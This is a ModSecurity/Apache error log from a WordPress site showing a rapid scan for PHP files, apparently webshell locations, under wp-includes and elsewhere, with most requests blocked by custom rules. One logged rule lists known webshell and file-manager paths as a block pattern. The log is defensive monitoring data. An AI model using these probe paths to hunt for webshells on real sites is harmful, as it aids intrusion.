[Sun Nov 23 16:41:29.313584 2025] [:error] [pid 14602:tid 14642] [client 140.99.1.15:53181] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSLIuR-I77jdD81pU-mQzgAAAVU"]
[Sun Nov 23 16:41:31.149612 2025] [:error] [pid 16066:tid 16088] [client 140.99.1.13:26791] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSLIu_q-c47Q5mW5E9FhcAAAAZM"]
[Sun Nov 23 16:41:31.347454 2025] [:error] [pid 44652:tid 44719] [client 140.99.1.67:28637] [client 140.99.1.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSLIu9iQFwsyXQDhwyCmzwAAAQ0"]
[Sun Nov 23 16:41:31.643658 2025] [:error] [pid 38738:tid 38762] [client 140.99.1.65:61661] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSLIuwytc6TL9XavPmPyGQAAABQ"]
[Sun Nov 23 16:41:31.995644 2025] [:error] [pid 44652:tid 44710] [client 140.99.1.18:48701] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSLIu9iQFwsyXQDhwyCm3QAAAQQ"]
[Sun Nov 23 16:41:32.347019 2025] [:error] [pid 14602:tid 14628] [client 140.99.1.69:40841] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSLIvB-I77jdD81pU-mRDgAAAUc"]
[Sun Nov 23 16:41:32.542976 2025] [:error] [pid 16066:tid 16086] [client 140.99.1.69:50739] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSLIvPq-c47Q5mW5E9FhiAAAAZE"]
[Sun Nov 23 16:41:33.265771 2025] [:error] [pid 38739:tid 38775] [client 140.99.1.37:64607] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSLIvQdvEgJm2n2cDmoh0gAAAEY"]
[Sun Nov 23 16:41:33.540871 2025] [:error] [pid 14602:tid 14637] [client 140.99.1.11:41923] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSLIvR-I77jdD81pU-mRHgAAAVA"]
[Sun Nov 23 16:41:33.829138 2025] [:error] [pid 38740:tid 38814] [client 140.99.1.37:22039] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSLIvQ13QPZSi6O8umWOBwAAAJI"]
[Sun Nov 23 16:41:34.070987 2025] [:error] [pid 38738:tid 38745] [client 140.99.1.65:43233] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSLIvgytc6TL9XavPmPyZQAAAAM"]
[Sun Nov 23 16:41:34.549912 2025] [:error] [pid 38738:tid 38745] [client 140.99.1.43:62089] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSLIvgytc6TL9XavPmPybwAAAAM"]
[Sun Nov 23 16:41:35.114980 2025] [:error] [pid 44652:tid 44728] [client 140.99.1.49:37491] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSLIv9iQFwsyXQDhwyCnIgAAARY"]
[Sun Nov 23 16:41:36.755795 2025] [:error] [pid 38824:tid 38846] [client 140.99.1.2:48867] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSLIwE8WZjXLvbHTHPetyQAAANM"]
[Sun Nov 23 16:41:38.483326 2025] [:error] [pid 44652:tid 44716] [client 140.99.1.72:20473] [client 140.99.1.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSLIwtiQFwsyXQDhwyCnXgAAAQo"]
[Sun Nov 23 16:41:39.072240 2025] [:error] [pid 38738:tid 38760] [client 140.99.1.27:51937] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aSLIwwytc6TL9XavPmPy5wAAABI"]
[Sun Nov 23 16:41:39.260480 2025] [:error] [pid 38739:tid 38783] [client 140.99.1.63:20741] [client 140.99.1.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSLIwwdvEgJm2n2cDmoiJwAAAE4"]
[Sun Nov 23 16:41:39.965991 2025] [:error] [pid 16066:tid 16086] [client 140.99.1.30:27949] [client 140.99.1.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aSLIw_q-c47Q5mW5E9FiNgAAAZE"]
[Sun Nov 23 16:41:40.392409 2025] [:error] [pid 16066:tid 16083] [client 140.99.1.28:41445] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSLIxPq-c47Q5mW5E9FiPwAAAY4"]
[Sun Nov 23 16:41:40.981668 2025] [proxy_fcgi:error] [pid 14602:tid 14638] [client 140.99.1.32:31629] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:41:41.213616 2025] [proxy_fcgi:error] [pid 14602:tid 14641] [client 140.99.1.32:31629] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:41:41.329706 2025] [proxy_fcgi:error] [pid 14602:tid 14627] [client 140.99.1.32:31629] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:41:42.139640 2025] [:error] [pid 14602:tid 14640] [client 140.99.1.32:31629] [client 140.99.1.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSLIxh-I77jdD81pU-mRrAAAAVM"]
[Sun Nov 23 16:41:42.407946 2025] [:error] [pid 38739:tid 38784] [client 140.99.1.49:37405] [client 140.99.1.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aSLIxgdvEgJm2n2cDmoiWQAAAE8"]
[Sun Nov 23 16:41:42.606063 2025] [:error] [pid 16066:tid 16082] [client 140.99.1.6:38775] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aSLIxvq-c47Q5mW5E9FiZQAAAY0"]
[Sun Nov 23 16:41:42.846964 2025] [:error] [pid 38740:tid 38817] [client 140.99.1.9:54045] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aSLIxg13QPZSi6O8umWOrQAAAJU"]
[Sun Nov 23 16:41:43.203969 2025] [:error] [pid 14602:tid 14637] [client 140.99.1.16:47185] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aSLIxx-I77jdD81pU-mRuQAAAVA"]
[Sun Nov 23 16:41:43.557593 2025] [:error] [pid 44652:tid 44727] [client 140.99.1.65:21211] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aSLIx9iQFwsyXQDhwyCnmAAAARU"]
[Sun Nov 23 16:41:43.997364 2025] [:error] [pid 16066:tid 16070] [client 140.99.1.16:25821] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aSLIx_q-c47Q5mW5E9FigwAAAYE"]
[Sun Nov 23 16:41:44.375414 2025] [:error] [pid 38740:tid 38808] [client 140.99.1.37:55261] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aSLIyA13QPZSi6O8umWOyQAAAIw"]
[Sun Nov 23 16:41:44.560748 2025] [:error] [pid 16066:tid 16077] [client 140.99.1.10:48657] [client 140.99.1.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSLIyPq-c47Q5mW5E9FilAAAAYg"]
[Sun Nov 23 16:41:44.939213 2025] [:error] [pid 16066:tid 16090] [client 140.99.1.26:37635] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aSLIyPq-c47Q5mW5E9FimgAAAZU"]
[Sun Nov 23 16:41:45.413976 2025] [:error] [pid 44652:tid 44709] [client 140.99.1.13:61977] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aSLIydiQFwsyXQDhwyCntAAAAQM"]
[Sun Nov 23 16:41:45.757940 2025] [:error] [pid 14602:tid 14641] [client 140.99.1.65:56753] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aSLIyR-I77jdD81pU-mR4QAAAVQ"]
[Sun Nov 23 16:41:46.277482 2025] [:error] [pid 38739:tid 38778] [client 140.99.1.37:37085] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aSLIygdvEgJm2n2cDmoitAAAAEk"]
[Sun Nov 23 16:41:52.965979 2025] [:error] [pid 14602:tid 14637] [client 140.99.1.42:32347] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSLI0B-I77jdD81pU-mShAAAAVA"]
[Sun Nov 23 16:41:53.653932 2025] [:error] [pid 16066:tid 16086] [client 140.99.1.24:47071] [client 140.99.1.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSLI0fq-c47Q5mW5E9FjgwAAAZE"]
[Sun Nov 23 16:41:54.551260 2025] [:error] [pid 38740:tid 38803] [client 140.99.1.68:24153] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSLI0g13QPZSi6O8umWPywAAAIc"]
[Sun Nov 23 16:41:54.865012 2025] [:error] [pid 38740:tid 38801] [client 140.99.1.71:51365] [client 140.99.1.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSLI0g13QPZSi6O8umWP6QAAAIU"]
[Sun Nov 23 16:41:57.349084 2025] [:error] [pid 38739:tid 38784] [client 140.99.1.76:26703] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aSLI1QdvEgJm2n2cDmojqgAAAE8"]
[Sun Nov 23 16:41:57.611049 2025] [:error] [pid 14602:tid 14639] [client 140.99.1.43:54491] [client 140.99.1.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSLI1R-I77jdD81pU-mS2AAAAVI"]
[Sun Nov 23 16:41:57.854215 2025] [:error] [pid 38738:tid 38757] [client 140.99.1.46:53065] [client 140.99.1.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.46, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSLI1Qytc6TL9XavPmP0bQAAAA8"]
[Sun Nov 23 16:41:58.098031 2025] [:error] [pid 38738:tid 38759] [client 140.99.1.46:53065] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aSLI1gytc6TL9XavPmP0eAAAABE"]
[Sun Nov 23 16:41:58.611536 2025] [:error] [pid 14602:tid 14645] [client 140.99.1.42:26961] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aSLI1h-I77jdD81pU-mS6gAAAVg"]
[Sun Nov 23 16:42:00.013931 2025] [:error] [pid 14602:tid 14630] [client 140.99.1.46:43751] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSLI2B-I77jdD81pU-mTCQAAAUk"]
[Sun Nov 23 16:42:00.931752 2025] [:error] [pid 16066:tid 16079] [client 140.99.1.37:36385] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSLI2Pq-c47Q5mW5E9FkQwAAAYo"]
[Sun Nov 23 16:42:01.294312 2025] [:error] [pid 38739:tid 38791] [client 140.99.1.62:64201] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSLI2QdvEgJm2n2cDmokAwAAAFY"]
[Sun Nov 23 16:42:02.388058 2025] [:error] [pid 16066:tid 16074] [client 140.99.1.15:34285] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aSLI2vq-c47Q5mW5E9FkegAAAYU"]
[Sun Nov 23 16:42:02.874612 2025] [proxy_fcgi:error] [pid 38738:tid 38745] [client 140.99.1.48:59963] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:42:03.136565 2025] [:error] [pid 38738:tid 38753] [client 140.99.1.48:59963] [client 140.99.1.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSLI2wytc6TL9XavPmP0tQAAAAs"]
[Sun Nov 23 16:42:03.461379 2025] [:error] [pid 38740:tid 38817] [client 140.99.1.2:33035] [client 140.99.1.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aSLI2w13QPZSi6O8umWQtQAAAJU"]
[Sun Nov 23 16:42:04.068961 2025] [:error] [pid 38738:tid 38750] [client 140.99.1.11:38957] [client 140.99.1.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSLI3Aytc6TL9XavPmP0zQAAAAg"]
[Sun Nov 23 16:42:04.299358 2025] [:error] [pid 38740:tid 38801] [client 140.99.1.39:58339] [client 140.99.1.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aSLI3A13QPZSi6O8umWQyAAAAIU"]
[Sun Nov 23 16:42:05.489305 2025] [:error] [pid 38740:tid 38805] [client 140.99.1.27:25079] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aSLI3Q13QPZSi6O8umWQ-AAAAIk"]
